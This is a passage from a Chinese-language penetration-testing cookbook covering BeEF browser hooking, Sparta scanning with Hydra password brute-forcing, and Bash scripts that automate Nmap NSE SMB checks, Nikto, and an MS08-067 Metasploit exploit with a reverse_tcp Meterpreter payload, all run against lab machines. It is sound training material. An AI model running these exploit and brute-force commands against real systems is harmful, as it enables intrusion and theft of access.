1. 请注意，我们已下载整个 BeEF 项目，尽管我们只需要更新规则。因此，让我们切换到 autorule 目录，并运行命令查找 autorule 文件，并将其移动到 /usr/share/beef-xss/arerules/ 目录。

2. 然后，我们可以切换回 /usr/share/beef-xss/arerules/ 目录，确认文件是否已移动。我们还应该返回 /tmp/ 目录并删除那里的文件，因为它们不再需要。可以通过执行 rm -r /tmp/beef-master 和 rm master.zip 命令来完成：

1. 现在我们已经有了最新的 ARE 规则，接下来我们具体看看 man_in_the_browser.json 文件。浏览器中间人攻击通过在用户点击链接时拦截请求来工作。如果链接在同一域上，它只会发出一个 AJAX 请求来加载新页面。对于用户来说，这看起来和他们正常的体验没有任何区别；然而，他们仍然被钩住。如果链接指向其他域，则会启动一个新标签页加载请求的页面。这可能会或不会让用户察觉；不过，网站在新标签页中打开页面并不罕见。这是因为同源策略不允许我们像访问同一域上的其他页面那样发出请求。

2. 为了让我们自动运行 ARE 规则，我们必须将它们从 /usr/share/beef-xss/arerules/ 目录移动到 /usr/share/beef-xss/arerules/enabled/ 目录。

3. 移动它们之后，我们需要重启 BeEF，以便它能加载新的配置：

1. 当我们最初创建网页以钩住受害者时，并没有在页面中添加任何链接。让我们开始使用 vi 编辑器编辑我们的 beef.html 文件：

1. 现在，我们可以编辑页面并添加链接。在这个例子中，我们将向页面添加以下 HTML：

        <p>You should check out 
          <a href="http://www.packtpub.com">PacktPub</a>
        </p>

1. 现在，我们从我们的 Windows XP 机器导航到 172.16.69.133/beef.html。从我们的 BeEF 面板中，我们可以看到浏览器按预期被钩住：

1. 当我们离开我们的页面并导航到 www.packtpub.com 时，我们的 man_in_the_browser.json 文件开始工作，保持浏览器连接。如果我们查看日志，可以看到它已被执行。此外，尽管用户离开了页面，我们仍然可以看到浏览器保持在线：

它是如何工作的…

BeEF ARE 允许我们在浏览器被 BeEF 钩取时选择特定的命令自动执行。这使我们能够收集信息并创建持久性，以及其他许多功能。

第十一章：使用 Sparta

Sparta 是一个集成了我们已涵盖的多个工具的侦察工具，提供一个统一的图形用户界面（GUI）。它包括 Nmap、Hydra、Nikto、Netcat 等工具。此外，Sparta 可以通过编辑 sparta.conf 文件来配置使用其他工具。以下是本章我们将讨论的内容：

• 使用 Sparta 进行信息收集

• 为 Sparta 创建自定义命令

• 使用 Sparta 进行端口扫描

• 使用 Sparta 进行指纹识别

• 使用 Sparta 进行漏洞扫描

• 使用 Sparta 进行 Web 应用扫描

使用 Sparta 进行信息收集

Sparta 默认提供了很多功能。在这个示例中，我们将查看 Sparta 界面，探索当您将主机添加到范围时 Sparta 默认的操作，查看 Sparta 使用的一些工具，并进行暴力破解密码。

准备工作

Sparta 已预装 Kali Linux 2。要使用它进行扫描，您需要有一个运行网络服务的远程系统。在提供的示例中，使用 Metasploitable2 实例来执行此任务。有关如何设置 Metasploitable2 的更多信息，请参考第一章，入门指南。

如何操作...

现在我们直接进入 Sparta：

1. 要开始，请导航到 应用程序 | 信息收集 | sparta：

1. 一旦 Sparta 启动，我们需要定义目标。在主机窗格中，选择点击此处添加主机到范围。对于我们的示例，我们将使用 IP 地址 172.16.69.128：

1. 点击“添加到范围”按钮后，扫描开始。首先，Sparta 将运行一个分阶段的 Nmap 扫描。分阶段的 Nmap 扫描实际上是一系列扫描，用于确定开放端口和运行的服务：

1. 随着扫描的进行，找到的服务将开始出现在右侧的服务窗口中，位于主机窗格的右侧。此外，Sparta 会尽可能识别特定的软件和版本：

1. 我们还可以通过点击服务窗格来查看找到的服务信息。如果我们扫描的是一个网络范围，并希望按服务而非主机列出找到的内容，这将更有用：

1. 在发现某些服务后，Sparta 会自动部署工具以收集进一步的信息。在以下截图中，当发现正在运行的 FTP 服务时，Sparta 启动了 Hydra，试图破解密码，如下图所示：

1. 如果发现了 Web 服务，它将运行 nikto。此外，它还会运行 screenshooter 来截取找到网站的截图：

1. 当我们查看 Sparta 所收集和组织的所有信息时，给人留下了深刻的印象。它已经找到了许多服务，并发现了大量服务的用户名和密码，包括 MySQL、PostgreSQL 和 FTP 服务。然而，它没有找到某个 FTP 服务的凭据；请查看以下屏幕截图：

1. 由于没有找到密码，我们来看看能否通过 Sparta 的暴力破解选项卡找到密码。如果点击该选项卡，我们可以配置 IP、端口和服务：

1. 我们还将使用用户名列表和密码列表。我们通过点击单选按钮并浏览到我们想要使用的列表来实现这一点。Kali 在/usr/share/wordlists目录下提供了一些很棒的词汇列表。我们将使用/usr/share/wordlists/unix_users.txt作为用户名列表，/usr/share/wordlists/unix_passwords.txt作为密码列表：

1. 一旦我们正确配置好，就会出现一个对话框；只需点击“运行”按钮，让它来完成工作。它会很快找到用户名/密码组合，并将其显示在屏幕上：

它是如何工作的...

Sparta 已经集成了许多工具，且它是将侦察结果整合到一个地方的绝佳方式。配置好范围后，它将扫描一个或多个主机的开放端口和服务。当发现某些服务时，还会使用其他工具进行扫描。

为 Sparta 创建自定义命令

在前面的示例中，我们看到 Sparta 开箱即用的功能。Sparta 的一个很棒的功能是可以添加其他工具。这些工具可以出现在上下文菜单中，结果可以在 Sparta 界面中汇总。在本示例中，我们将介绍如何自定义集成一个新工具。

准备工作

Sparta 预装了 Kali Linux 2。要使用 Sparta 执行扫描，您需要有运行网络服务的远程系统。在提供的示例中，使用了 Linux 和 Windows 系统的组合。有关在本地实验环境中设置系统的更多信息，请参阅第一章中的安装 Metasploitable2和安装 Windows Server部分，入门指南。

我们还将编辑 Sparta 的配置文件；请参阅第一章中的使用文本编辑器（Vim 和 GNU nano）部分，入门指南。

如何操作...

Sparta 是一个很棒的界面，可以在一个地方执行扫描并收集我们的信息。在开始之前，让我们对 Sparta 进行一些更改，以防止它自动运行所有工具。正如我们在前面的步骤中看到的，Sparta 会执行大量扫描，并根据它发现的内容启动多个工具。这种方式可能并非总是我们希望采用的，特别是当我们试图保持低调时。要进行这个更改，打开一个终端窗口并输入vi /usr/share/sparta/sparta.conf。

将行enable-scheduler-on-import=True更改为enable-scheduler=False并保存：

以下步骤将指导你创建自定义命令：

1. 要开始，请导航到“应用程序 | 信息收集 | sparta”：

2. 一旦 Sparta 启动，我们需要定义我们的目标。选择“点击此处添加主机到范围”。在我们的示例中，我们将使用172.16.69.0/24的 IP 范围。

3. 取消勾选“运行阶段性 nmap 扫描”。如果保持勾选，它将执行一系列 Nmap 扫描，识别端口和服务：

4. 在运行 Nmap 主机发现扫描后，我们可以在“主机”标签下看到已发现的 IP，如下图所示：

1. 现在我们有了一份已发现主机的列表，我们可以右键点击任何一台主机，查看接下来可以执行的操作菜单，如下图所示：

1. 在我们继续之前，让我们通过“文件 | 另存为”保存我们的 Sparta 会话。保存你的会话：

我们可以向 Sparta 中添加更多工具，只要它们以非交互模式运行。为了演示这一点，我们将把fping添加到 Sparta 包含的工具中。

在 Sparta 中，你可以定义三种类型的操作：

• 主机：主机操作是针对特定计算机的操作

• 端口：端口操作针对特定的端口或服务

• 终端：终端操作允许你从 Sparta 内启动一个终端

要添加一个操作，它需要按照以下格式进行定义：

tool=label, command, services

现在，让我们来看一下这些词的含义：

• tool：这是我们正在添加的工具名称。

• label：这是在 Sparta 的上下文菜单中显示的内容。

• command：这是你在终端中运行工具时输入的内容。command工具使用以下占位符：[IP]、[PORT]和[OUTPUT]。这些变量将在运行时被替换为相应的值。

• services：服务是工具将应用的 Nmap 服务名称列表。

现在让我们定义一个工具作为示例。以我们示例中的命令fping为例。这将是一个主机操作，因为fping用于检查主机是否在线。从命令行运行fping可能是类似fping 172.16.69.130的形式。

你应该看到类似以下截图的内容：

1. 现在，让我们将fping添加到 Sparta 中。打开一个终端窗口并输入以下命令：

        vi /usr/share/sparta/sparta.conf

你应该会看到类似以下的截图：

1. 现在，我们将向 Sparta 配置中添加一个工具。我们将在[HostActions]下定义fping，如下所示：

        fping=Run fping, fping [IP]

你会注意到，我们没有使用[PORT]或[OUTPUT]，因为fping不需要它们。同时，services在我们的定义中不需要，因为fping是一个主机操作。

1. 通过按Esc键保存文件，然后输入:wq并按Enter键。

2. 为了在 Sparta 中查看我们的新命令，我们需要重新启动服务。要关闭 Sparta，请转到“文件 | 退出”菜单选项。现在我们可以重新打开 Sparta。启动后，转到“文件 | 打开”菜单选项并加载之前保存的 Sparta 扫描。

3. 现在，当我们右键点击主机时，你会看到“运行 fping”，这是我们创建的主机操作。选择该选项，我们的fping命令将运行。你会注意到，Sparta 中会打开一个新标签，显示结果：

工作原理...

Sparta 已经集成了多个工具到其图形界面中，是将你的侦察工作整合到一个地方的绝佳方式。如果你有其他工具希望集成，可以通过修改配置并添加工具来扩展其功能。

使用 Sparta 进行端口扫描

Sparta 开箱即用地使用 Nmap 进行端口扫描。在本教程中，我们将讨论如何通过添加工具并自定义 Sparta 界面来执行端口扫描。

准备工作

Sparta 与 Kali Linux 2 一起预装。要使用 Sparta 执行扫描，你需要有运行网络服务的远程系统。在提供的示例中，使用了 Linux 和 Windows 系统的组合。有关在本地实验环境中设置系统的更多信息，请参阅第一章中的安装 Metasploitable2和安装 Windows Server教程，入门。

我们还将编辑 Sparta 的配置文件。请参阅第一章中的使用文本编辑器（Vim 和 GNU nano）教程，入门。

如何操作...

现在，让我们学习如何使用 Sparta 进行端口扫描：

1. Sparta 使用 Nmap 执行端口扫描操作。我们可以通过右键单击主机并导航到“端口扫描”子菜单来看到这一点。我们可以使用多个 Nmap 扫描选项，这些选项也可以在sparta.conf文件中配置：

1. 如果我们想要添加其他选项与不同的工具一起使用，我们也可以这样做。我们从添加一个选项开始，使用hping3进行隐身扫描。关闭 Sparta 应用程序并打开一个终端窗口。在这里，让我们使用以下命令编辑 Sparta 配置文件：

 vi /usr/share/sparta/sparta.conf  

1. 现在让我们添加一个新的主机操作，定义为hping3=hping3（隐身扫描），hping3 [IP] --scan 0-65535。你应该会看到类似以下的截图：

1. 现在我们可以保存更改并重新打开 Sparta。现在，如果我们右键点击主机，就会看到新的主机操作：hping3（隐匿扫描）：

1. 点击此选项会对指定主机执行隐匿扫描。打开一个新标签，显示扫描结果：

1. 让我们添加一个端口扫描选项。再次关闭 Sparta 并编辑/usr/share/sparta/sparta.conf文件。这次，我们将添加一个主机操作选项，通过dmitry执行连接扫描。我们将主机操作配置如下：dmitry-connect=dmitry (connect scan), dmitry -p [IP]。然后，保存文件：

1. 现在，让我们重新启动 Sparta 并加载主机。我们再次看到一个新的主机操作：

1. 从我们的主机操作菜单中选择 dimitry（连接扫描），扫描就会启动。打开一个新标签，显示我们的连接扫描结果：

操作原理...

Sparta 的 GUI 中已集成了许多工具，是将您的侦察工作集中在一个地方的绝佳方式。默认情况下，Sparta 使用 Nmap 进行端口扫描。在本配方中，我们扩展了 Sparta 的功能，添加了hping3和dmitry。

使用 Sparta 进行指纹识别

我们发现过程中的下一步是指纹识别，这是我们在第五章中讨论过的内容，指纹识别。在进行指纹识别时，我们希望揭示更多关于操作系统和使用的服务软件的细节。Sparta 允许我们继续收集这些细节，并将它们保存在其界面中。

准备工作

Sparta 预装在 Kali Linux 2 中。要使用 Sparta 进行扫描，您需要确保远程系统正在运行网络服务。在提供的示例中，使用了 Linux 和 Windows 系统的组合。有关在本地实验室环境中设置系统的更多信息，请参阅第一章中的安装 Metasploitable2和安装 Windows Server 配方，入门指南。

我们还将编辑 Sparta 的配置文件；请参阅第一章中使用文本编辑器（Vim 和 GNU nano）的配方，入门指南。

操作步骤...

你会记得我们在第五章中讨论过指纹识别，指纹识别，在识别出主机和端口之后，我们希望继续收集有关操作系统和正在运行的服务的详细信息。Sparta 提供了一些很棒的预配置工具来帮助完成这项工作。举个例子，让我们来看一下右键点击服务时弹出的上下文菜单。在下面的示例中，我们正在检查一个 FTP 服务，并且我们有以下选项：打开 Telnet 会话、使用 Netcat 打开、抓取横幅等：

Sparta 会根据服务类型改变上下文菜单。在以下示例中，我们查看的是 HTTP 服务。因此，Sparta 向我们展示了一些与 Web 服务相关的新项目，如运行 nikto 和启动 dirbuster：

让我们配置一个新的主机操作，这将允许我们分析 SNMP。这将是一个主机操作，并显示在上下文菜单中。为了实现这一目标，我们按照以下步骤进行：

1. 如之前所述，我们关闭 Sparta 并使用 vi /usr/share/sparta/sparta.conf 命令编辑 Sparta 配置文件。在 [HostActions] 下，我们添加一个新项 snmp=SNMPwalk, snmpwalk [IP] -c public -v 2c：

1. 编辑完成后，保存并退出配置文件。

2. 现在，当我们启动 Sparta 并重新加载主机时，右键点击某个主机时，我们可以看到一个新的主机操作：

1. 如果我们运行 SNMPwalk，我们可以看到结果在新标签页中打开，如下图所示：

工作原理...

Sparta 已经集成了许多工具到其图形界面中，是将你的侦察工作整合到一个地方的极好方式。Sparta 使用 Nmap 收集指纹信息。在这个配方中，我们增加了 SNMPwalk 功能。

使用 Sparta 进行漏洞扫描

正如我们所见，Sparta 是一个非常适合进行侦察的工具，并将信息收集到一个中央仓库中。接下来，我们将看到如何将 Sparta 和 Nmap NSE 一起使用，扫描我们目标系统中的特定漏洞。

准备工作

Sparta 已预装在 Kali Linux 2 中。要使用 Sparta 进行扫描，你需要远程系统正在运行网络服务。在提供的示例中，使用了 Linux 和 Windows 系统的组合。有关在本地实验环境中设置系统的更多信息，请参见 第一章中关于安装 Metasploitable2 和 安装 Windows Server 的配方，入门部分。

我们还将编辑 Sparta 的配置文件，请参见 第一章中关于使用文本编辑器（Vim 和 GNU nano）的配方，入门部分。

如何操作...

现在，让我们学习如何使用 Sparta 进行漏洞扫描：

1. 为了添加新的端口操作，我们关闭 Sparta，再次使用 vi 编辑 Sparta 配置文件，命令为 vi /usr/share/sparta/sparta.conf。

2. 导航到[PortActions]部分，我们将添加一个新的操作。回到第六章，漏洞扫描，我们使用 Nmap NSE 检查 Stuxnet 蠕虫利用的四个漏洞中的一个。我们将在这里添加一个端口操作来运行这个检查。我们将定义[PortAction]为smb-vuln=Check，对于打印机后台程序伪装，vuln, nmap -p[PORT] --script=smb-vuln-ms10-061 [IP] -vvvv和netbios-ssn,microsoft-ds：

1. 保存配置文件，打开 Sparta，重新加载我们的 Sparta 项目。我们导航到其中一台 Windows XP 机器并查看可用服务。我们可以看到445端口是开放的，并且microsoft-ds服务可用。如果我们右键点击该服务，可以看到我们新定义的端口操作已经存在并可用：

1. 现在我们可以直接在 Sparta 界面中检查此漏洞。如果我们运行检查，新的标签页将被打开，并显示测试结果：

它是如何工作的...

Sparta 已经将许多工具集成到其图形用户界面中，是将侦察信息集中管理的绝佳方式。Sparta 非常可配置；在本教程中，我们添加了 Nmap NSE 命令的功能，以检查特定的漏洞。

使用 Sparta 进行 Web 应用扫描

Sparta 配备了多种工具，我们可以用来检查 web 服务。在接下来的教程中，我们将查看它的扫描功能。

准备开始

Sparta 配备了 Kali Linux 2。要使用 Sparta 执行扫描，您需要有运行网络服务的远程系统。在提供的示例中，使用了 Linux 和 Windows 系统的组合。有关在本地实验室环境中设置系统的更多信息，请参考第一章中的安装 Metasploitable2和安装 Windows Server教程，入门部分。

我们还将编辑 Sparta 的配置文件；请参考第一章中的使用文本编辑器（Vim 和 GNU nano）教程，入门部分。

如何操作...

Sparta 配备了多种已定义的端口操作用于 web 服务。如果我们右键点击 web 服务，可以看到列出可用的操作。在本教程中，我们将查看其中的一些端口操作：

• 运行 nikto：其中一个显著的选项是能够针对我们的目标 web 服务运行 Nikto。你应该还记得我们在第九章中讲解的 Nikto，Web 应用扫描，它会遍历目标应用并进行大量预配置的请求，尝试识别应用中可能存在的危险脚本和文件：

• 在端口上运行 nmap（脚本）：如果我们在端口上运行 Nmap 脚本，我们会得到一些横幅抓取，识别出 http-methods、http-server-header 和 http-title：

• 启动 dirbuster：我们还可以运行 dirbuster 和 OWASP 工具，它们将查找目标服务器上的目录和文件。如果我们点击启动 dirbuster，目标 URL 和端口会自动预配置。它可以进行纯暴力破解攻击，或者基于文件的列表进行攻击。在我们的示例中，我们将提供一个目录列表供它尝试。这个列表有很多可以在/usr/share/wordlists/dirbuster/目录下找到：

Dirbuster 可能需要一些时间来运行，主要取决于扫描类型和/或我们提供的字典列表的大小。一旦我们点击 Start，dirbuster 便开始检查，并在新标签页中报告它所发现的内容：

• 运行 whatweb：Whatweb 是由 Sparta 端口动作配置的，它为我们提供关于 Web 服务器、操作系统和语言的信息。Whatweb 非常强大，在审视其功能后，你可能会考虑创建自己的端口动作。要了解更多关于 whatweb 的信息，可以通过在终端输入whatweb -h来查看其帮助文档。在我们的示例中，我们将使用 Sparta 中配置好的 whatweb：

• 启动 webslayer：最后，你会在上下文菜单中看到使用 webslayer 的选项。不幸的是，webslayer 并未包含在 Kali Linux 2.0 发行版中。如果你尝试运行它，它会崩溃，以下是崩溃的截图：

它的工作原理...

Sparta 已经将多个工具集成到其图形用户界面（GUI）中，是将侦察工作整合到一个地方的绝佳方式。Sparta 预配置了许多优秀的工具用于分析 Web 应用程序。在本示例中，我们探讨了如何使用这些工具来测试已发现的 Web 服务。

第十二章：自动化 Kali 工具

本章将包括以下内容：

• Nmap 可 grep 输出分析

• 使用 NMAP NSE 执行端口扫描

• 使用 NMAP NSE 自动化漏洞扫描

• 使用 Nikto 自动化 Web 应用扫描

• 带有反向 shell 有效载荷的多线程 MSF 利用

• 带有后门可执行文件的多线程 MSF 利用

• 带有 ICMP 验证的多线程 MSF 利用

• 带有管理员账户创建的多线程 MSF 利用

简介

Kali Linux 渗透测试平台提供了大量高效工具，以完成企业渗透测试中常见的任务。然而，也有一些情况下，单一工具不足以完成某项任务。在这种情况下，通常比完全编写新的脚本或程序来完成任务更有效的是，编写利用现有工具的脚本，或根据需要修改它们的行为。常见的自制脚本类型包括用于分析或管理现有工具输出的脚本、将多个工具连接起来的脚本，或将原本必须顺序执行的任务进行多线程处理。接下来，我们将介绍一些自动化和操作现有 Kali Linux 工具的配方。

Nmap 可 grep 输出分析

Nmap 被大多数安全专家认为是 Kali Linux 平台上最精炼和高效的工具之一。尽管这款工具非常强大且令人印象深刻，但全面的端口扫描和服务识别可能非常耗时。与其在渗透测试中针对特定服务端口进行有针对性的扫描，不如采取一种更好的方法：对所有可能的 TCP 和 UDP 服务进行全面扫描，然后在整个评估过程中参考这些结果。Nmap 提供了 XML 和可 grep 输出格式来帮助这一过程。

理想情况下，你应该熟悉这些格式，以便能够根据需要从输出文件中提取所需的信息。然而，作为参考，本示例将提供一个脚本，用于提取所有识别出在指定端口上运行服务的 IP 地址。

准备工作

要使用本食谱中演示的脚本，您需要将 Nmap 输出结果以可抓取的格式进行输出。这可以通过执行 Nmap 端口扫描，并使用-oA选项输出所有格式，或使用-oG选项专门输出可抓取格式来实现。在提供的示例中，多个系统在同一个 /24 子网中进行了扫描，包括 Windows XP 和 Metasploitable2。有关设置 Metasploitable2 的更多信息，请参考第一章中的 安装 Metasploitable2 食谱，入门指南。有关设置 Windows 系统的更多信息，请参考第一章中的 安装 Windows 服务器 食谱，入门指南。此外，本节需要使用文本编辑器（如 Vim 或 GNU nano）将脚本写入文件系统。有关编写脚本的更多信息，请参考第一章中的 使用文本编辑器（Vim 和 GNU nano） 食谱，入门指南。

如何操作...

以下示例展示了 Bash 脚本语言甚至 Bash CLI 如何轻松地从 Nmap 输出的可抓取格式中提取信息：

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <port #> <filename>";
exit; fi

port=$1
file=$2

echo "Systems with port $port open:"

grep $port $file | grep open | cut -d " " -f 2

1. 为了确保理解脚本的功能，我们将按顺序解释每一行：

   • 脚本的第一行仅指向 Bash 解释器，以便脚本可以独立执行。

   • 脚本的第二行是一个 if...then 条件语句，用来测试是否有参数传递给脚本。这只是最基本的输入验证，确保脚本用户了解工具的使用方法。如果工具在没有传递任何参数的情况下执行，脚本将 echo 出它的使用说明，并退出。使用说明请求两个参数：端口号和文件名。

   • 接下来的两行将每个输入值分配给更容易理解的变量。第一个输入值是端口号，第二个输入值是 Nmap 输出文件。

   • 然后，脚本将检查 Nmap 可抓取的输出文件，确定是否有任何系统在给定的端口号上运行服务：

1. 当脚本没有任何参数时，输出使用说明。

2. 要使用此脚本，我们需要输入一个要检查的端口号和 Nmap 可抓取输出文件的文件名。

3. 在提供的示例中，对 /24 网络进行了扫描，并生成了一个名为 netscan.txt 的可抓取输出文件。

4. 脚本随后用于分析该文件，确定其中是否有任何主机在不同的端口上有活动服务：

在示例中，脚本被运行以确定在端口 80、22 和 445 上运行的主机。脚本的输出声明了正在评估的端口号，并列出了输出文件中任何在该端口上有活动服务运行的系统的 IP 地址。

它是如何工作的…

grep 命令是一个功能强大的命令行工具，可以在 Bash 中用来从输出或指定文件中提取特定内容。在本食谱提供的脚本中，grep 命令用于从 Nmap 可抓取的输出文件中提取给定端口号的任何实例。由于 grep 函数的输出包含多个信息片段，因此输出会被传递给 cut 函数来提取 IP 地址，然后将其输出到终端。

使用 NMAP NSE 执行端口扫描

许多 Nmap 脚本引擎 (NSE) 脚本仅在特定端口上运行服务时适用。考虑使用以下脚本：

• smb-vuln-conficker

• smb-vuln-cve2009-3103

• smb-vuln-ms06-025

• smb-vuln-ms07-029

• smb-vuln-regsvc-dos

• smb-vuln-ms08-067

这些脚本将评估在 TCP 端口 445 上运行的 SMB 服务是否存在常见的服务漏洞。如果这些脚本在整个网络上执行，则必须重新进行确定端口 445 是否开放以及 SMB 服务是否可以在每个目标系统上访问的任务。这项任务可能已经在评估的扫描阶段完成。Bash 脚本可以用来利用现有的 Nmap 可抓取输出文件，仅对那些运行相关服务的系统执行服务特定的 NSE 脚本。在本例中，我们将演示如何使用脚本从先前的扫描结果中确定运行 TCP 445 服务的主机，并仅针对这些系统运行前述脚本。

准备工作

要使用本食谱中演示的脚本，您需要让 Nmap 输出结果为可抓取格式。这可以通过执行 Nmap 端口扫描，并使用 -oA 选项输出所有格式，或使用 -oG 选项专门输出可抓取格式来实现。在提供的示例中，多个系统在单个 /24 子网内进行扫描，并包括多个运行 SMB 服务的 Windows 系统。有关设置 Windows 系统的更多信息，请参考第一章中的 安装 Windows Server 食谱，入门。此外，本部分还需要使用文本编辑器（如 Vim 或 GNU nano）将脚本写入文件系统。有关编写脚本的更多信息，请参考第一章中的 使用文本编辑器（Vim 和 GNU nano） 食谱，入门。

如何操作…

接下来的示例演示了如何使用 Bash 脚本将多个任务顺序执行。在此案例中，首先对 Nmap 可 grep 输出文件进行分析，然后利用该任务识别的信息，执行 NSE 脚本针对不同的系统。具体来说，第一个任务将确定哪些系统在 TCP 端口 445 上运行服务，然后对这些系统执行以下脚本：

• smb-vuln-conficker

• smb-vuln-cve2009-3103

• smb-vuln-ms06-025

• smb-vuln-ms07-029

• smb-vuln-regsvc-dos

• smb-vuln-ms08-067

让我们看一下以下的 Bash 脚本：

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <file>"; exit; fi

file=$1

for x in $(grep open $file | grep 445 | cut -d " " -f 2); 
do 
 nmap --script smb-vuln-conficker.nse -p 445 $x --script-args=unsafe=1;
 nmap --script smb-vuln-cve2009-3103.nse -p 445 $x --script-args=unsafe=1;
 nmap --script smb-vuln-ms06-025.nse -p 445 $x --script-args=unsafe=1;
 nmap --script smb-vuln-ms07-029.nse -p 445 $x --script-args=unsafe=1;
 nmap --script smb-vuln-regsvc-dos.nse -p 445 $x --script-args=unsafe=1;
 nmap --script smb-vuln-ms08-067.nse -p 445 $x --script-args=unsafe=1;
done

1. 为了确保理解脚本的功能，我们将按顺序讲解每一行：

   • 前几行类似于之前讨论的脚本。第一行指向 Bash 解释器，第二行检查是否提供了参数，第三行将输入值分配给易于理解的变量名。

   • 然而，脚本的主体部分有些不同。脚本使用 for 循环来遍历通过 grep 函数获得的 IP 地址列表。grep 函数输出的 IP 地址列表对应于所有在 TCP 端口 445 上运行服务的系统。对于这些 IP 地址，每个地址都会执行 NSE 脚本。

   • 只在之前已经确定在 TCP 端口 445 上有服务的系统上运行此脚本，可以显著减少运行 NSE 扫描所需的时间：

1. 通过不带任何参数执行脚本，脚本将输出使用说明。该说明指示应提供现有的 Nmap 可 grep 输出文件的文件名。当提供了 Nmap 输出文件时，脚本将快速分析文件，查找任何在 TCP 端口 445 上有服务的系统，然后对这些系统执行 NSE 脚本，并将结果输出到终端：

1. 滚动查看终端输出，我们可以看到目标机器易受 MS08-67 漏洞攻击：

在提供的示例中，脚本被传递给了 netscan.txt 输出文件。经过快速分析该文件后，脚本确定有两个系统在端口 445 上运行服务。接着，对这些服务执行之前列出的脚本，并在终端生成输出。

工作原理…

通过将 grep 序列作为 for 循环的值，实际上 Bash 脚本在此处仅循环遍历该函数的输出。通过独立运行该函数，可以看到它仅提取出运行 SMB 服务的主机的 IP 地址列表。然后，for 循环遍历这些 IP 地址，并为每个 IP 执行 NSE 脚本。

使用 NSE 自动化漏洞扫描

有时，开发一个将漏洞扫描与利用结合的脚本可能会有所帮助。假设我们想要扫描一组机器，寻找特定的漏洞，并在发现时，对受影响的机器执行该漏洞利用。漏洞扫描通常会产生误报，因此，通过对漏洞扫描结果进行后续的漏洞利用，可以立即验证这些结果的合法性。在这个示例中，将使用 Bash 脚本执行 smb-vuln-ms08-067.nse 脚本，以确定主机是否容易受到 MS08-067 NetAPI 漏洞的攻击。如果 NSE 脚本表明主机易受攻击，Metasploit 将被用来自动尝试利用该漏洞进行验证。

准备工作

要使用本示例中演示的脚本，您需要访问运行易受攻击服务的系统，该服务可以通过 NSE 脚本识别并通过 Metasploit 进行利用。在提供的示例中，使用的是一台运行 SMB 服务并且容易受到 MS08-067 NetAPI 漏洞攻击的 Windows XP 系统。有关设置 Windows 系统的更多信息，请参考 第一章中的 安装 Windows Server 食谱，入门 部分。此外，本节还需要通过 Vim 或 GNU nano 等文本编辑器编写脚本到文件系统。有关编写脚本的更多信息，请参考 第一章中的 使用文本编辑器（Vim 和 GNU nano） 食谱，入门 部分。

如何操作...

接下来的示例演示了如何使用 Bash 脚本将漏洞扫描和目标利用这两个任务串联起来。在这个例子中，smb-vuln-ms08-067.nse 脚本用于确定系统是否容易受到 MS08-067 攻击，然后，如果系统被发现存在漏洞，相应的 Metasploit 漏洞利用将对该系统执行：

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <RHOST> <LHOST> <LPORT>"; exit; fi

rhost=$1
lhost=$2
lport=$3

nmap --script smb-vuln-ms08-067.nse -p 445 $rhost --script-args=unsafe=1 -oN tmp_output.txt
if grep -q VULNERABLE: tmp_output.txt; 
 then echo "$rhost appears to be vulnerable, exploiting with Metasploit...";
 msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST $rhost; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST $lhost; set LPORT $lport; run"
fi
rm tmp_output.txt

1. 为了确保脚本的功能得以理解，我们将依次介绍每一行：

   • 脚本的前几行与本章之前讨论的脚本相同。第一行定义了解释器，第二行测试输入，第三、第四和第五行用于根据用户输入定义变量。

   • 在此脚本中，提供的用户变量对应于 Metasploit 中使用的变量。RHOST 变量应该定义目标的 IP 地址，LHOST 变量应该定义反向监听的 IP 地址，LPORT 变量应该定义监听的本地端口。

   • 脚本执行的第一项任务是在目标系统的 IP 地址上执行 smb-vuln-ms08-067.nse 脚本，目标系统的 IP 地址由 RHOST 输入定义。

   • 结果随后以正常格式输出到一个临时文本文件。

   • 然后，将使用if...then条件语句与grep函数结合使用，测试输出文件以查找表明系统存在漏洞的唯一字符串。如果发现唯一字符串，脚本将指示系统可能存在漏洞，然后使用msfconsole -x执行 Metasploit 利用和 Meterpreter 负载。

   • 最后，在启动利用后，将使用rm函数从文件系统中删除临时 Nmap 输出文件。test_n_xploit.sh Bash 命令的执行如下：

1. 如果脚本在不提供任何参数的情况下执行，则将输出适当的用法。此用法描述将指示应按顺序使用RHOST、LHOST和LPORT参数执行脚本。这些输入值将同时用于 NSE 漏洞扫描，以及如果有必要的话，用 Metasploit 在目标系统上执行利用。

2. 在下面的示例中，脚本用于确定 IP 地址为172.16.69.129的主机是否存在漏洞。如果系统被确定为易受攻击，则将启动利用，并连接到在 IP 地址为172.16.69.133、TCP 端口为4444上监听的反向 TCP Meterpreter 处理程序：

前面的输出显示，在 NSE 脚本完成后立即执行 Metasploit 利用模块，并在目标系统上返回一个交互式 Meterpreter shell。

如何工作…

msfconsole -x命令可用于直接从终端执行单行命令，而不必在交互式控制台中工作。这使其在 Bash shell 脚本中的使用非常方便。由于可以从 Bash 终端执行 NSE 脚本和msfconsole -x，因此可以轻松编写一个 Shell 脚本来将这两个功能结合在一起。

使用 Nikto 自动化 Web 应用程序扫描

Nikto 是 Kali Linux 中的一个命令行工具，可用于评估 Web 应用程序是否存在已知的安全问题。在评估的扫描阶段，我们已经确定了运行 Web 服务的主机。可以使用 Bash 脚本来利用现有的 Nmap 可搜索输出文件，仅针对运行 Web 服务的系统运行 Nikto。在本示例中，我们将演示如何使用脚本来确定从先前扫描结果中运行 TCP 端口80上服务的主机，然后仅针对这些系统运行 Nikto。

准备工作

要使用本配方中演示的脚本，你需要能够访问运行 Web 服务的系统。在提供的示例中，有两台机器运行 Metasploitable，另外两台运行 Windows XP。有关如何设置 Metasploitable 和 Windows XP 系统的更多信息，请参阅第一章中的安装 Metasploitable2和安装 Windows 服务器配方，
入门部分。此外，本节还需要使用文本编辑器（如 Vim 或 GNU nano）将脚本写入文件系统。有关编写脚本的更多信息，请参阅第一章中的使用文本编辑器（Vim 和 GNU nano）配方，入门部分。

如何做到……

接下来的示例演示了我们如何使用 Bash 脚本语言从 Nmap 的可解析格式中提取信息。然后，我们利用这些信息对运行 Web 服务的主机执行 Nikto 扫描：

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <file>"; exit; fi
file=$1

for x in $(grep open $file | grep 80 | cut -d " " -f 2); 
do 
      echo "Nikto scanning the following host: $x" 
      nikto -h $x -F text -output /tmp/nikto-scans/$x.txt
done

1. 为了确保脚本功能的理解，我们将按顺序逐行解析：

